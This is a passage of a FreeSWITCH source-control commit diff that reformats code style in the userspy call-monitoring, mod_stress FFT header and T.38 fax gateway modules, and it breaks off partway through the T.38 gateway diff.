</span><span class="lines">@@ -68,16 +68,16 @@
</span><span class="cx"> static switch_status_t spy_on_exchange_media(switch_core_session_t *session)
</span><span class="cx"> {
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><del>-        const char* spy_uuid = switch_channel_get_variable(channel,&quot;spy_uuid&quot;);
-   
</del><ins>+        const char *spy_uuid = switch_channel_get_variable(channel, &quot;spy_uuid&quot;);
+
</ins><span class="cx">         if (spy_uuid) {
</span><del>-                if (switch_ivr_eavesdrop_session(session,spy_uuid,NULL,ED_DTMF) != SWITCH_STATUS_SUCCESS) {
-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR,&quot;Can't eavesdrop on uuid %s\n&quot;,spy_uuid);
</del><ins>+                if (switch_ivr_eavesdrop_session(session, spy_uuid, NULL, ED_DTMF) != SWITCH_STATUS_SUCCESS) {
+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Can't eavesdrop on uuid %s\n&quot;, spy_uuid);
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        switch_channel_set_state(channel,CS_PARK);
-    return SWITCH_STATUS_FALSE;
</del><ins>+        switch_channel_set_state(channel, CS_PARK);
+        return SWITCH_STATUS_FALSE;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t spy_on_park(switch_core_session_t *session)
</span><span class="lines">@@ -85,7 +85,7 @@
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         const char *moh = switch_channel_get_variable(channel, &quot;hold_music&quot;);
</span><span class="cx"> 
</span><del>-        while(switch_channel_ready(channel) &amp;&amp; switch_channel_get_state(channel) == CS_PARK) {
</del><ins>+        while (switch_channel_ready(channel) &amp;&amp; switch_channel_get_state(channel) == CS_PARK) {
</ins><span class="cx">                 if (moh) {
</span><span class="cx">                         switch_status_t status = switch_ivr_play_file(session, NULL, moh, NULL);
</span><span class="cx">                         if (!SWITCH_READ_ACCEPTABLE(status)) {
</span><span class="lines">@@ -98,13 +98,13 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> static const switch_state_handler_table_t spy_state_handlers = {
</span><del>-    /*.on_init */ NULL,
-    /*.on_routing */ NULL,
-    /*.on_execute */ NULL,
-    /*.on_hangup */ spy_on_hangup,
-    /*.on_exchange_media */ spy_on_exchange_media,
-    /*.on_soft_execute */ NULL,
-    /*.on_consume_media */ NULL,
</del><ins>+        /*.on_init */ NULL,
+        /*.on_routing */ NULL,
+        /*.on_execute */ NULL,
+        /*.on_hangup */ spy_on_hangup,
+        /*.on_exchange_media */ spy_on_exchange_media,
+        /*.on_soft_execute */ NULL,
+        /*.on_consume_media */ NULL,
</ins><span class="cx">         /* on_hibernate */ NULL,
</span><span class="cx">         /* on reset */ NULL,
</span><span class="cx">         /* on_park */ spy_on_park,
</span><span class="lines">@@ -113,29 +113,29 @@
</span><span class="cx"> SWITCH_STANDARD_API(dump_hash)
</span><span class="cx"> {
</span><span class="cx">         switch_hash_index_t *hi;
</span><del>-        const void* key;
-        void* val;
</del><ins>+        const void *key;
+        void *val;
</ins><span class="cx"> 
</span><span class="cx">         switch_thread_rwlock_rdlock(globals.spy_hash_lock);
</span><span class="cx"> 
</span><del>-        for (hi = switch_hash_first(NULL,globals.spy_hash);hi; hi = switch_hash_next(hi)){
-                switch_hash_this(hi,&amp;key,NULL,&amp;val);
-                stream-&gt;write_function(stream,&quot;%s : %s\n&quot;,(char*)key,(const char*)val);
</del><ins>+        for (hi = switch_hash_first(NULL, globals.spy_hash); hi; hi = switch_hash_next(hi)) {
+                switch_hash_this(hi, &amp;key, NULL, &amp;val);
+                stream-&gt;write_function(stream, &quot;%s : %s\n&quot;, (char *) key, (const char *) val);
</ins><span class="cx">         }
</span><span class="cx"> 
</span><del>-        stream-&gt;write_function(stream,&quot;\n%d total spy\n&quot;,globals.spy_count);
</del><ins>+        stream-&gt;write_function(stream, &quot;\n%d total spy\n&quot;, globals.spy_count);
</ins><span class="cx">         switch_thread_rwlock_unlock(globals.spy_hash_lock);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static void event_handler(switch_event_t* event) 
</del><ins>+static void event_handler(switch_event_t *event)
</ins><span class="cx"> {
</span><span class="cx">         switch_core_session_t *session = NULL;
</span><span class="cx">         switch_channel_t *channel;
</span><del>-        char *username[2] = {0};
-        char* domain[2] = {0};
</del><ins>+        char *username[2] = { 0 };
+        char *domain[2] = { 0 };
</ins><span class="cx">         char key[512];
</span><del>-        char* uuid = NULL, *my_uuid = NULL;
</del><ins>+        char *uuid = NULL, *my_uuid = NULL;
</ins><span class="cx">         int i;
</span><span class="cx"> 
</span><span class="cx">         switch_thread_rwlock_rdlock(globals.spy_hash_lock);
</span><span class="lines">@@ -144,22 +144,22 @@
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        username[0] = switch_event_get_header(event,&quot;Caller-Username&quot;);
-        domain[0] = switch_event_get_header(event,&quot;variable_domain_name&quot;);
-        domain[1] = switch_event_get_header(event,&quot;variable_dialed_domain&quot;);
-        username[1] = switch_event_get_header(event,&quot;variable_dialed_user&quot;);
</del><ins>+        username[0] = switch_event_get_header(event, &quot;Caller-Username&quot;);
+        domain[0] = switch_event_get_header(event, &quot;variable_domain_name&quot;);
+        domain[1] = switch_event_get_header(event, &quot;variable_dialed_domain&quot;);
+        username[1] = switch_event_get_header(event, &quot;variable_dialed_user&quot;);
</ins><span class="cx"> 
</span><span class="cx">         for (i = 0; i &lt; 2; i++) {
</span><span class="cx">                 if (username[i] &amp;&amp; domain[i]) {
</span><del>-                        switch_snprintf(key,sizeof(key),&quot;%s@%s&quot;,username[i],domain[i]);           
</del><ins>+                        switch_snprintf(key, sizeof(key), &quot;%s@%s&quot;, username[i], domain[i]);
</ins><span class="cx"> 
</span><del>-                        if ((uuid = switch_core_hash_find(globals.spy_hash,key))) {
</del><ins>+                        if ((uuid = switch_core_hash_find(globals.spy_hash, key))) {
</ins><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx">         switch_thread_rwlock_unlock(globals.spy_hash_lock);
</span><span class="cx"> 
</span><span class="cx">         if (!uuid) {
</span><span class="lines">@@ -169,64 +169,64 @@
</span><span class="cx">         session = switch_core_session_locate(uuid);
</span><span class="cx">         channel = switch_core_session_get_channel(session);
</span><span class="cx"> 
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,&quot;UserSpy retrieved uuid %s for key %s, activating eavesdrop \n&quot;,uuid,key);
-        my_uuid = switch_event_get_header(event,&quot;Unique-ID&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;UserSpy retrieved uuid %s for key %s, activating eavesdrop \n&quot;, uuid, key);
+        my_uuid = switch_event_get_header(event, &quot;Unique-ID&quot;);
</ins><span class="cx"> 
</span><del>-        switch_channel_set_variable(channel,&quot;spy_uuid&quot;,my_uuid);
</del><ins>+        switch_channel_set_variable(channel, &quot;spy_uuid&quot;, my_uuid);
</ins><span class="cx"> 
</span><del>-        switch_channel_set_state(channel,CS_EXCHANGE_MEDIA);
-        switch_channel_set_flag(channel,CF_BREAK);
</del><ins>+        switch_channel_set_state(channel, CS_EXCHANGE_MEDIA);
+        switch_channel_set_flag(channel, CF_BREAK);
</ins><span class="cx"> 
</span><span class="cx">         switch_core_session_rwunlock(session);
</span><span class="cx"> 
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> #define USERSPY_SYNTAX &quot;&lt;user@domain&gt; [uuid]&quot;
</span><del>-SWITCH_STANDARD_APP(userspy_function) 
</del><ins>+SWITCH_STANDARD_APP(userspy_function)
</ins><span class="cx"> {
</span><span class="cx">         int argc = 0;
</span><del>-        char* argv[2] = {0};
-        char* params = NULL;
</del><ins>+        char *argv[2] = { 0 };
+        char *params = NULL;
</ins><span class="cx"> 
</span><del>-        if (!zstr(data) &amp;&amp; (params = switch_core_session_strdup(session,data))) {
</del><ins>+        if (!zstr(data) &amp;&amp; (params = switch_core_session_strdup(session, data))) {
</ins><span class="cx">                 if ((argc = switch_separate_string(params, ' ', argv, (sizeof(argv) / sizeof(argv[0])))) &gt;= 1) {
</span><span class="cx"> 
</span><span class="cx">                         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><del>-                        char* uuid = switch_core_session_get_uuid(session);
</del><ins>+                        char *uuid = switch_core_session_get_uuid(session);
</ins><span class="cx">                         switch_status_t status;
</span><span class="cx"> 
</span><span class="cx">                         switch_thread_rwlock_wrlock(globals.spy_hash_lock);
</span><del>-                        if (switch_core_hash_find(globals.spy_hash,argv[0])) {
-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR,&quot;Spy already exists for %s\n&quot;,argv[0]);
-                                switch_channel_hangup(channel,SWITCH_CAUSE_NORMAL_CLEARING);
</del><ins>+                        if (switch_core_hash_find(globals.spy_hash, argv[0])) {
+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Spy already exists for %s\n&quot;, argv[0]);
+                                switch_channel_hangup(channel, SWITCH_CAUSE_NORMAL_CLEARING);
</ins><span class="cx">                                 switch_thread_rwlock_unlock(globals.spy_hash_lock);
</span><span class="cx">                                 return;
</span><span class="cx">                         }
</span><span class="cx"> 
</span><del>-                        status = switch_core_hash_insert(globals.spy_hash,argv[0],(void*) uuid);
</del><ins>+                        status = switch_core_hash_insert(globals.spy_hash, argv[0], (void *) uuid);
</ins><span class="cx"> 
</span><span class="cx">                         if ((status != SWITCH_STATUS_SUCCESS)) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR,&quot;Cant insert to spy hash\n&quot;);
-                                switch_channel_hangup(channel,SWITCH_CAUSE_SERVICE_NOT_IMPLEMENTED);
-                                switch_thread_rwlock_unlock(globals.spy_hash_lock);                
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Cant insert to spy hash\n&quot;);
+                                switch_channel_hangup(channel, SWITCH_CAUSE_SERVICE_NOT_IMPLEMENTED);
+                                switch_thread_rwlock_unlock(globals.spy_hash_lock);
</ins><span class="cx">                                 return;
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         globals.spy_count++;
</span><span class="cx">                         switch_thread_rwlock_unlock(globals.spy_hash_lock);
</span><span class="cx"> 
</span><del>-                        switch_channel_set_private(channel,&quot;_userspy_&quot;,(void*) argv[0]);
-                        switch_channel_add_state_handler(channel,&amp;spy_state_handlers);
</del><ins>+                        switch_channel_set_private(channel, &quot;_userspy_&quot;, (void *) argv[0]);
+                        switch_channel_add_state_handler(channel, &amp;spy_state_handlers);
</ins><span class="cx"> 
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE,&quot;UserSpy activated on %s \n&quot;,argv[0]);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, &quot;UserSpy activated on %s \n&quot;, argv[0]);
</ins><span class="cx"> 
</span><span class="cx">                         if (argv[1]) {
</span><del>-                                switch_channel_set_variable(channel,&quot;spy_uuid&quot;,argv[1]);
-                                switch_channel_set_state(channel,CS_EXCHANGE_MEDIA);
</del><ins>+                                switch_channel_set_variable(channel, &quot;spy_uuid&quot;, argv[1]);
+                                switch_channel_set_state(channel, CS_EXCHANGE_MEDIA);
</ins><span class="cx">                                 return;
</span><span class="cx">                         }
</span><span class="cx"> 
</span><del>-                        switch_channel_set_state(channel,CS_PARK);
</del><ins>+                        switch_channel_set_state(channel, CS_PARK);
</ins><span class="cx">                         return;
</span><span class="cx">                 }
</span><span class="cx">                 return;
</span><span class="lines">@@ -244,15 +244,15 @@
</span><span class="cx"> 
</span><span class="cx">         globals.pool = pool;
</span><span class="cx"> 
</span><del>-        switch_core_hash_init(&amp;globals.spy_hash,pool);
-        switch_thread_rwlock_create(&amp;globals.spy_hash_lock,pool);
</del><ins>+        switch_core_hash_init(&amp;globals.spy_hash, pool);
+        switch_thread_rwlock_create(&amp;globals.spy_hash_lock, pool);
</ins><span class="cx">         globals.spy_count = 0;
</span><span class="cx"> 
</span><span class="cx">         switch_event_bind_removable(modname, SWITCH_EVENT_CHANNEL_BRIDGE, NULL, event_handler, NULL, &amp;globals.node);
</span><del>-        
-        SWITCH_ADD_APP(app_interface,&quot;userspy&quot;,&quot;Spy on a user constantly&quot;,&quot;Spy on a user constantly&quot;,userspy_function,USERSPY_SYNTAX,SAF_NONE);
-        SWITCH_ADD_API(api_interface,&quot;userspy_show&quot;,&quot;Show current spies&quot;,dump_hash,&quot;userspy_show&quot;);
-        
</del><ins>+
+        SWITCH_ADD_APP(app_interface, &quot;userspy&quot;, &quot;Spy on a user constantly&quot;, &quot;Spy on a user constantly&quot;, userspy_function, USERSPY_SYNTAX, SAF_NONE);
+        SWITCH_ADD_API(api_interface, &quot;userspy_show&quot;, &quot;Show current spies&quot;, dump_hash, &quot;userspy_show&quot;);
+
</ins><span class="cx">         /* indicate that the module should continue to be loaded */
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -261,12 +261,12 @@
</span><span class="cx"> {
</span><span class="cx">         int sanity = 0;
</span><span class="cx"> 
</span><del>-    while (globals.spy_count) {
-        switch_cond_next();
-        if (++sanity &gt;= 60000) {
-            break;
-        }
-    }
</del><ins>+        while (globals.spy_count) {
+                switch_cond_next();
+                if (++sanity &gt;= 60000) {
+                        break;
+                }
+        }
</ins><span class="cx"> 
</span><span class="cx">         switch_event_unbind(&amp;globals.node);
</span><span class="cx">         switch_core_hash_destroy(&amp;globals.spy_hash);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_stressFFTRealh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_stress/FFTReal.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_stress/FFTReal.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_stress/FFTReal.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -14,7 +14,7 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> #if defined (FFTReal_CURRENT_HEADER)
</span><del>-        #error Recursive inclusion of FFTReal header file.
</del><ins>+#error Recursive inclusion of FFTReal header file.
</ins><span class="cx"> #endif
</span><span class="cx"> #define        FFTReal_CURRENT_HEADER
</span><span class="cx"> 
</span><span class="lines">@@ -25,89 +25,83 @@
</span><span class="cx"> 
</span><span class="cx"> #if defined (_MSC_VER)
</span><span class="cx"> #pragma pack (push, 8)
</span><del>-#endif        // _MSC_VER
</del><ins>+#endif // _MSC_VER
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-class        FFTReal
-{
</del><ins>+class FFTReal {
</ins><span class="cx"> 
</span><span class="cx"> /*\\\ PUBLIC \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*/
</span><span class="cx"> 
</span><del>-public:
</del><ins>+  public:
</ins><span class="cx"> 
</span><span class="cx">         /* Change this typedef to use a different floating point type in your FFTs
</span><del>-                (i.e. float, double or long double). */
-        typedef float        flt_t;
</del><ins>+           (i.e. float, double or long double). */
+        typedef float flt_t;
</ins><span class="cx"> 
</span><del>-        explicit                        FFTReal (const long length);
-                                                ~FFTReal ();
-        void                                do_fft (flt_t f [], const flt_t x []) const;
-        void                                do_ifft (const flt_t f [], flt_t x []) const;
-        void                                rescale (flt_t x []) const;
</del><ins>+        explicit FFTReal(const long length);
+            ~FFTReal();
+        void do_fft(flt_t f[], const flt_t x[]) const;
+        void do_ifft(const flt_t f[], flt_t x[]) const;
+        void rescale(flt_t x[]) const;
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> /*\\\ PRIVATE \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*/
</span><span class="cx"> 
</span><del>-private:
</del><ins>+  private:
</ins><span class="cx"> 
</span><span class="cx">         /* Bit-reversed look-up table nested class */
</span><del>-        class BitReversedLUT
-        {
-        public:
-                explicit                        BitReversedLUT (const int nbr_bits);
-                                                        ~BitReversedLUT ();
-                const long *        get_ptr () const
-                {
</del><ins>+              class BitReversedLUT {
+          public:
+                explicit BitReversedLUT(const int nbr_bits);
+                   ~BitReversedLUT();
+                const long *get_ptr() const {
</ins><span class="cx">                         return (_ptr);
</span><del>-                }
-        private:
-                long *                        _ptr;
</del><ins>+          } private:
+                long *_ptr;
</ins><span class="cx">         };
</span><span class="cx"> 
</span><span class="cx">         /* Trigonometric look-up table nested class */
</span><del>-        class        TrigoLUT
-        {
-        public:
-                explicit                        TrigoLUT (const int nbr_bits);
-                                                        ~TrigoLUT ();
-                const flt_t        *        get_ptr (const int level) const
-                {
</del><ins>+        class TrigoLUT {
+          public:
+                explicit TrigoLUT(const int nbr_bits);
+                   ~TrigoLUT();
+                const flt_t *get_ptr(const int level) const {
</ins><span class="cx">                         return (_ptr + (1L &lt;&lt; (level - 1)) - 4);
</span><span class="cx">                 };
</span><del>-        private:
-                flt_t        *                        _ptr;
</del><ins>+          private:
+                      flt_t *_ptr;
</ins><span class="cx">         };
</span><span class="cx"> 
</span><del>-        const BitReversedLUT        _bit_rev_lut;
-        const TrigoLUT        _trigo_lut;
-        const flt_t                _sqrt2_2;
-        const long                _length;
-        const int                _nbr_bits;
-        flt_t *                        _buffer_ptr;
</del><ins>+        const BitReversedLUT _bit_rev_lut;
+        const TrigoLUT _trigo_lut;
+        const flt_t _sqrt2_2;
+        const long _length;
+        const int _nbr_bits;
+        flt_t *_buffer_ptr;
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> /*\\\ FORBIDDEN MEMBER FUNCTIONS \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*/
</span><span class="cx"> 
</span><del>-private:
</del><ins>+  private:
</ins><span class="cx"> 
</span><del>-                                                FFTReal (const FFTReal &amp;other);
-        const FFTReal&amp;        operator = (const FFTReal &amp;other);
-        int                                operator == (const FFTReal &amp;other);
-        int                                operator != (const FFTReal &amp;other);
</del><ins>+        FFTReal(const FFTReal &amp; other);
+        const FFTReal &amp; operator =(const FFTReal &amp; other);
+        int operator ==(const FFTReal &amp; other);
+        int operator !=(const FFTReal &amp; other);
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> #if defined (_MSC_VER)
</span><span class="cx"> #pragma pack (pop)
</span><del>-#endif        // _MSC_VER
</del><ins>+#endif // _MSC_VER
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-#endif        // FFTReal_HEADER_INCLUDED
</del><ins>+#endif // FFTReal_HEADER_INCLUDED
</ins><span class="cx"> 
</span><span class="cx"> #undef FFTReal_CURRENT_HEADER
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_stressmod_stresscpp"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_stress/mod_stress.cpp (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_stress/mod_stress.cpp        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_stress/mod_stress.cpp        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_t38gatewaymod_t38gatewayc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_t38gateway/mod_t38gateway.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_t38gateway/mod_t38gateway.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_t38gateway/mod_t38gateway.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -54,40 +54,42 @@
</span><span class="cx"> 
</span><span class="cx"> /*! Type that holds codec information. */
</span><span class="cx"> typedef struct {
</span><del>-    /*! The sampling rate of the audio stream. */
-    int rate;
-    /*! The number of channels. */
-    int channels;
</del><ins>+        /*! The sampling rate of the audio stream. */
+        int rate;
+        /*! The number of channels. */
+        int channels;
</ins><span class="cx"> } t38gateway_codec_info_t;
</span><span class="cx"> 
</span><span class="cx"> /*! Type that holds session information pertinent to the t38gateway module. */
</span><span class="cx"> typedef struct {
</span><del>-    /*! Internal FreeSWITCH session. */
-    switch_core_session_t *session;
-    /*! Codec information for the session. */
-    t38gateway_codec_info_t t38gateway_codec;
-    t38_gateway_state_t *t38;
-    t38_core_state_t *t38_core;
-    udptl_state_t *udptl;
</del><ins>+        /*! Internal FreeSWITCH session. */
+        switch_core_session_t *session;
+        /*! Codec information for the session. */
+        t38gateway_codec_info_t t38gateway_codec;
+        t38_gateway_state_t *t38;
+        t38_core_state_t *t38_core;
+        udptl_state_t *udptl;
</ins><span class="cx"> } t38gateway_session_info_t;
</span><span class="cx"> 
</span><span class="cx"> static int tx_packet_handler(t38_core_state_t *s, void *user_data, const uint8_t *buf, int len, int count)
</span><span class="cx"> {
</span><del>-    t38gateway_session_info_t *t;
</del><ins>+        t38gateway_session_info_t *t;
</ins><span class="cx"> 
</span><del>-    t = (t38gateway_session_info_t *) user_data;
-    return 0;
</del><ins>+        t = (t38gateway_session_info_t *) user_data;
+        return 0;
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx"> 
</span><span class="cx"> static int rx_packet_handler(void *user_data, const uint8_t *buf, int len, int seq_no)
</span><span class="cx"> {
</span><del>-    t38gateway_session_info_t *t;
</del><ins>+        t38gateway_session_info_t *t;
</ins><span class="cx"> 
</span><del>-    t = (t38gateway_session_info_t *) user_data;
-    t38_core_rx_ifp_packet(t-&gt;t38_core, buf, len, seq_no);
-    return 0;
</del><ins>+        t = (t38gateway_session_info_t *) user_data;
+        t38_core_rx_ifp_packet(t-&gt;t38_core, buf, len, seq_no);
+        return 0;
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx"> 
</span><span class="cx"> /*! \brief The callback function that is called when new audio data becomes available 
</span><span class="lines">@@ -98,39 +100,39 @@
</span><span class="cx">  * @param type The switch callback type.
</span><span class="cx">  * @return The success or failure of the function.
</span><span class="cx">  */
</span><del>-static switch_bool_t t38gateway_callback(switch_media_bug_t * bug, void *user_data, switch_abc_type_t type)
</del><ins>+static switch_bool_t t38gateway_callback(switch_media_bug_t *bug, void *user_data, switch_abc_type_t type)
</ins><span class="cx"> {
</span><del>-    t38gateway_session_info_t *t38gateway_info;
-    switch_codec_t *read_codec;
-    switch_frame_t *frame;
-    int16_t *amp;
</del><ins>+        t38gateway_session_info_t *t38gateway_info;
+        switch_codec_t *read_codec;
+        switch_frame_t *frame;
+        int16_t *amp;
</ins><span class="cx"> 
</span><del>-    t38gateway_info = (t38gateway_session_info_t *) user_data;
-    if (t38gateway_info == NULL) {
-        return SWITCH_FALSE;
-    }
</del><ins>+        t38gateway_info = (t38gateway_session_info_t *) user_data;
+        if (t38gateway_info == NULL) {
+                return SWITCH_FALSE;
+        }
</ins><span class="cx"> 
</span><del>-    switch (type) {
-    case SWITCH_ABC_TYPE_INIT:
-        read_codec = switch_core_session_get_read_codec(t38gateway_info-&gt;session);
-        t38gateway_info-&gt;t38gateway_codec.rate = read_codec-&gt;implementation-&gt;samples_per_second;
-        t38gateway_info-&gt;t38gateway_codec.channels = read_codec-&gt;implementation-&gt;number_of_channels;
-        break;
-    case SWITCH_ABC_TYPE_READ_PING:
-    case SWITCH_ABC_TYPE_CLOSE:
-        break;
-    case SWITCH_ABC_TYPE_READ:
-        frame = switch_core_media_bug_get_read_replace_frame(bug);
-        amp = (int16_t *) frame-&gt;data;
-        t38_gateway_rx(t38gateway_info-&gt;t38, amp, frame-&gt;samples);
-        break;
-    case SWITCH_ABC_TYPE_WRITE:
-    case SWITCH_ABC_TYPE_READ_REPLACE:
-    case SWITCH_ABC_TYPE_WRITE_REPLACE:
-        break;
-    }
</del><ins>+        switch (type) {
+        case SWITCH_ABC_TYPE_INIT:
+                read_codec = switch_core_session_get_read_codec(t38gateway_info-&gt;session);
+                t38gateway_info-&gt;t38gateway_codec.rate = read_codec-&gt;implementation-&gt;samples_per_second;
+                t38gateway_info-&gt;t38gateway_codec.channels = read_codec-&gt;implementation-&gt;number_of_channels;
+                break;
+        case SWITCH_ABC_TYPE_READ_PING:
+        case SWITCH_ABC_TYPE_CLOSE:
+                break;
+        case SWITCH_ABC_TYPE_READ:
+                frame = switch_core_media_bug_get_read_replace_frame(bug);
+                amp = (int16_t *) frame-&gt;data;
+                t38_gateway_rx(t38gateway_info-&gt;t38, amp, frame-&gt;samples);
+                break;
+        case SWITCH_ABC_TYPE_WRITE:
+        case SWITCH_ABC_TYPE_READ_REPLACE:
+        case SWITCH_ABC_TYPE_WRITE_REPLACE:
+                break;
+        }
</ins><span class="cx"> 
</span><del>-    return SWITCH_TRUE;
</del><ins>+        return SWITCH_TRUE;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*! \brief FreeSWITCH module loading function 
</span><span class="lines">@@ -140,19 +142,19 @@
</span><span class="cx">  */
</span><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_t38gateway_load)
</span><span class="cx"> {
</span><del>-    switch_application_interface_t *app_interface;
-    switch_api_interface_t *api_interface;
-    /* connect my internal structure to the blank pointer passed to me */
-    *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</del><ins>+        switch_application_interface_t *app_interface;
+        switch_api_interface_t *api_interface;
+        /* connect my internal structure to the blank pointer passed to me */
+        *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;T.38 gateway enabled\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;T.38 gateway enabled\n&quot;);
</ins><span class="cx"> 
</span><del>-    SWITCH_ADD_APP(app_interface, &quot;t38gateway&quot;, &quot;T.38 gateway&quot;, &quot;T.38 gateway&quot;, t38gateway_start_function, &quot;[start] [stop]&quot;, SAF_NONE);
</del><ins>+        SWITCH_ADD_APP(app_interface, &quot;t38gateway&quot;, &quot;T.38 gateway&quot;, &quot;T.38 gateway&quot;, t38gateway_start_function, &quot;[start] [stop]&quot;, SAF_NONE);
</ins><span class="cx"> 
</span><del>-    SWITCH_ADD_API(api_interface, &quot;t38gateway&quot;, &quot;T.38 gateway&quot;, t38gateway_api_main, T38GATEWAY_SYNTAX);
</del><ins>+        SWITCH_ADD_API(api_interface, &quot;t38gateway&quot;, &quot;T.38 gateway&quot;, t38gateway_api_main, T38GATEWAY_SYNTAX);
</ins><span class="cx"> 
</span><del>-    /* indicate that the module should continue to be loaded */
-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        /* indicate that the module should continue to be loaded */
+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*! \brief FreeSWITCH application handler function.
</span><span class="lines">@@ -163,48 +165,48 @@
</span><span class="cx">  */
</span><span class="cx"> SWITCH_STANDARD_APP(t38gateway_start_function)
</span><span class="cx"> {
</span><del>-    switch_media_bug_t *bug;
-    switch_status_t status;
-    switch_channel_t *channel;
-    t38gateway_session_info_t *t38gateway_info;
</del><ins>+        switch_media_bug_t *bug;
+        switch_status_t status;
+        switch_channel_t *channel;
+        t38gateway_session_info_t *t38gateway_info;
</ins><span class="cx"> 
</span><del>-    if (session == NULL)
-        return;
</del><ins>+        if (session == NULL)
+                return;
</ins><span class="cx"> 
</span><del>-    channel = switch_core_session_get_channel(session);
</del><ins>+        channel = switch_core_session_get_channel(session);
</ins><span class="cx"> 
</span><del>-    /* Is this channel already set? */
-    bug = (switch_media_bug_t *) switch_channel_get_private(channel, &quot;_t38gateway_&quot;);
-    /* If yes */
-    if (bug != NULL) {
-        /* If we have a stop remove audio bug */
-        if (strcasecmp(data, &quot;stop&quot;) == 0) {
-            switch_channel_set_private(channel, &quot;_t38gateway_&quot;, NULL);
-            switch_core_media_bug_remove(session, &amp;bug);
-            return;
-        }
</del><ins>+        /* Is this channel already set? */
+        bug = (switch_media_bug_t *) switch_channel_get_private(channel, &quot;_t38gateway_&quot;);
+        /* If yes */
